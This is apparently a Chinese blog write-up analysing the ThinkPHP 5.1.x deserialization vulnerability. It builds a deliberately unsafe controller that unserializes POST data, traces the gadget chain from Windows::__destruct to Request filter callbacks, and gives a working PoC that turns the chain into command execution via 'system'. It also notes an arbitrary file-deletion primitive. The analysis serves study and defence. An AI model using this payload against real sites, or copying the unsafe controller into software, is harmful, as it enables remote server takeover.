Thinkphp-v5.1.x反序列化漏洞复现分析

环境搭建

使用 composer下载项目

composer create-project topthink/think=5.1.37 v5.1.37

配置控制器


namespace app\index\controller;
class unserialize{
    public function kb(){
        if(isset($_POST['unserialize'])){
            $a = $_POST['unserialize'];
            @unserialize(urldecode($a));
        }
        highlight_file(__FILE__);
        return '薇尔莉特yyds';
    }
}
?>

配置路由

return [
    'unserialize'=>'index/unserialize/kb',
];

访问unserialize

Thinkphp-v5.1.x反序列化漏洞复现分析_第1张图片

反序列化链分析

漏洞链的起点位于

library\think\process\pipes\Windows.php 的  __destruct()
    public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }

跟进removeFiles

    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];

$this->files是个数组 将值循环给到filename,判断文件是否存在,然后将它删除,这里便存在一个任意文件删除漏洞,poc简单自行编写,继续跟进反序列化链

Thinkphp-v5.1.x反序列化漏洞复现分析_第2张图片
传进来的参数是字符串,如果传进来是个对象的话,那么便会调用对象的__toString方法
全局查找一个__toString方法
thinkphp\library\think\model\concern\Conversion.php

    public function __toString()
    {
        return $this->toJson();
    }

跟进toJson

    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }

跟进toArray

public function toArray()
    {
    ***
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);
                        }
                    }
   ***
    }

关键代码就是上面这一段的 $relation->visible( $name); 对象可控参数也可控,方法名不可控,让他调用__call方法即可,if判断中的relation得为假才能进入

跟进getRelation($key)
getRelation在trait RelationShip类中

    public function getRelation($name = null)
    {
        if (is_null($name)) {
            return $this->relation;
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }

这里我们让他返回空即可,跟进getAttr($key)
getAttr在trait Attribute类中

public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }

        // 检测属性获取器
        $fieldName = Loader::parseName($name);
        $method    = 'get' . Loader::parseName($name, 1) . 'Attr';

        if (isset($this->withAttr[$fieldName])) {
            if ($notFound && $relation = $this->isRelationAttr($name)) {
                $modelRelation = $this->$relation();
                $value         = $this->getRelationData($modelRelation);
            }

            $closure = $this->withAttr[$fieldName];
            $value   = $closure($value, $this->data);
        } elseif (method_exists($this, $method)) {
            if ($notFound && $relation = $this->isRelationAttr($name)) {
                $modelRelation = $this->$relation();
                $value         = $this->getRelationData($modelRelation);
            }

            $value = $this->$method($value, $this->data);
        } elseif (isset($this->type[$name])) {
            // 类型转换
            $value = $this->readTransform($value, $this->type[$name]);
        } elseif ($this->autoWriteTimestamp && in_array($name, [$this->createTime, $this->updateTime])) {
            if (is_string($this->autoWriteTimestamp) && in_array(strtolower($this->autoWriteTimestamp), [
                'datetime',
                'date',
                'timestamp',
            ])) {
                $value = $this->formatDateTime($this->dateFormat, $value);
            } else {
                $value = $this->formatDateTime($this->dateFormat, $value, true);
            }
        } elseif ($notFound) {
            $value = $this->getRelationAttribute($name, $item);
        }

        return $value;
    }

最终返回一个value,跟进getData($name),此时的name是上面的append的健

    public function getData($name = null)
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    }

到这里我们就可以在第二个条件或第三个条件让他返回一个对象了,这时去找一下让它调用哪个对象的__call方法,让它调用Request的__call方法即可,虽说参数不可控,但是调用的函数可控

    public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }

        throw new Exception('method not exists:' . static::class . '->' . $method);
    }
小总结

先是调用了trait Conversion的__toString()->toJson()->toArray(),再到trait RelationShip的getRelation,再到trait Attribute的getAttr(),再到getData()返回一个Request对象,所以先得找一个使用了这3个trait类的类
Thinkphp-v5.1.x反序列化漏洞复现分析_第3张图片
找到了Model但他是个抽象类,再去找找谁继承了它
在这里插入图片描述
找到了Pivot,这是可以构造一部分poc了


namespace think{
    class Request{
    }
}

namespace think{
    abstract class Model
    {
        protected $append = [];
        private $data = [];
        public function __construct(){
            $this->data=['kb'=>new Request()];
            $this->append=['kb'=>['hello','word']];
        }
    }
}

namespace think\model{

    use think\Model;

    class Pivot extends Model
    {

    }
}

namespace think\process\pipes{
    use think\model\Pivot;
    class Windows
    {
        private $files = [];
        public function __construct(){
            $this->files[]=new Pivot();
        }
    }
}

namespace{
    use think\process\pipes\Windows;
    echo urlencode(serialize(new Windows()));
}

然后去跟一下Request的__call方法

    public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }

        throw new Exception('method not exists:' . static::class . '->' . $method);
    }

函数可控,参数不可控,而且这里没有直接执行命令的地方,得去找一个能执行命令的函数

在Thinkphp的Request类中还有一个filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码。
private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);

这里有代码执行的地方但是方法与函数都不可控,这时去找一个调用它的方法,来让他的参数可控。

public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }

        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            }

            $data = $this->getData($data, $name);

            if (is_null($data)) {
                return $default;
            }

            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
                $this->arrayReset($data);
            }
        } else {
            $this->filterValue($data, $name, $filter);
        }

        if (isset($type) && $data !== $default) {
            // 强制类型转换
            $this->typeCast($data, $type);
        }

        return $data;
    }

重要的是这一段
在这里插入图片描述
进到这里的话得让$name为空
跟进一下getFilter()

    protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;

        return $filter;
    }

相当于$filter = $this->filter;
现在回调方法可控了但是参数不可控,找一下调用input方法的方法

    public function param($name = '', $default = null, $filter = '')
    {
        if (!$this->mergeParam) {
            $method = $this->method(true);

            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }

            // 当前请求参数和URL地址中的参数合并
            $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

            $this->mergeParam = true;
        }

        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

            return $this->input($data, '', $default, $filter);
        }

        return $this->input($this->param, $name, $default, $filter);

关键是这两句,第一句让我们参数可控,第二句调用input,可以通过两种方式给参数赋值,第一个是给$this->param赋值,第二个是通过get()方法调用_GET自动获取值

$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

return $this->input($this->param, $name, $default, $filter);

但是此时$name依然不可控,继续查找调用param()方法的方法

    public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

        if (true === $ajax) {
            return $result;
        }

        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }

这里调用了param()而且参数可控,所以只需要让Request的__call()方法调用自己的isAjax方法即可。
构造完整poc:


namespace think{
    abstract class Model
    {
        protected $append = [];
        private $data = [];
        public function __construct(){
            $this->data=['kb'=>new Request()];
            $this->append=['kb'=>['hello','word']];
        }
    }
    class Request{
        protected $param=[];
        protected $hook=[];
        protected $filter;
        protected $config=[];
        function __construct(){
            $this->filter = "system";
            $this->config = ["var_ajax"=>''];
            $this->hook = ["visible"=>[$this,"isAjax"]];
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
    }
}

namespace think\process\pipes{
    use think\model\Pivot;
    class Windows
    {
        private $files;
        public function __construct(){
            $this->files=[new Pivot()];
        }
    }
}

namespace{
    use think\process\pipes\Windows;
    echo urlencode(serialize(new Windows()));
}



Thinkphp-v5.1.x反序列化漏洞复现分析_第4张图片
参考链接:
Thinkphp5.1 反序列化漏洞复现

Thinkphp 反序列化利用链深入分析

你可能感兴趣的:(笔记,安全,php,web安全)